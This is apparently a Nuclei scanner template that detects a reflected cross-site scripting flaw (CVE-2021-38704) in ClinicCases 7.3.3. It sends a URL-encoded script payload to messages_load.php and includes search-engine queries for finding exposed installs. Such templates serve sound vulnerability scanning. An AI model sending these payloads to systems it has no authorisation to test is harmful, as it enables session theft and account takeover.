id: CVE-2021-38704

info:
  name: ClinicCases 7.3.3 Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: ClinicCases 7.3.3 is susceptible to multiple reflected cross-site scripting vulnerabilities that could allow unauthenticated attackers to introduce arbitrary JavaScript by crafting a malicious URL. This can result in account takeover via session token theft.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/sudonoodle/CVE-2021-38704
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38704
    - https://github.com/judsonmitchell/ClinicCases/releases
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-38704
    cwe-id: CWE-79
    epss-score: 0.0015
    epss-percentile: 0.5117
    cpe: cpe:2.3:a:cliniccases:cliniccases:7.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cliniccases
    product: cliniccases
    shodan-query:
      - http.title:"ClinicCases",html:"/cliniccases/"
      - http.title:"cliniccases",html:"/cliniccases/"
    fofa-query: title="cliniccases",html:"/cliniccases/"
    google-query: intitle:"cliniccases",html:"/cliniccases/"
  tags: cve,cve2021,xss,cliniccases

http:
  - method: GET
    path:
      - '{{BaseURL}}/cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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